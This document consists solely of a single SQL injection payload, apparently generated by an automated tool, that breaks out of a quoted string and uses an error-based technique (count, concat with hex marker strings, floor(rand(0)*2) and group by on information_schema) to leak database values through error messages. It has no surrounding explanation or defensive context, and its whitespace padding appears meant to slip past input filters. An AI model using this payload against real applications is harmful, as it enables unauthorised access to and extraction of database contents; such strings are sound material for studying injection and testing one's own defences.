1'||   (   select 'jpow' from dual where 4381   =   4381 and    (   select 9067 from   (   select count   (   *   )   ,concat   (   0x7171706a71,   (   select    (   elt   (   9067   =   9067,1    )      )       )   ,0x717a767a71,floor   (   rand   (   0   )   *2    )      )    x from information_schema.character_sets group by x   )   a    )      )    ||'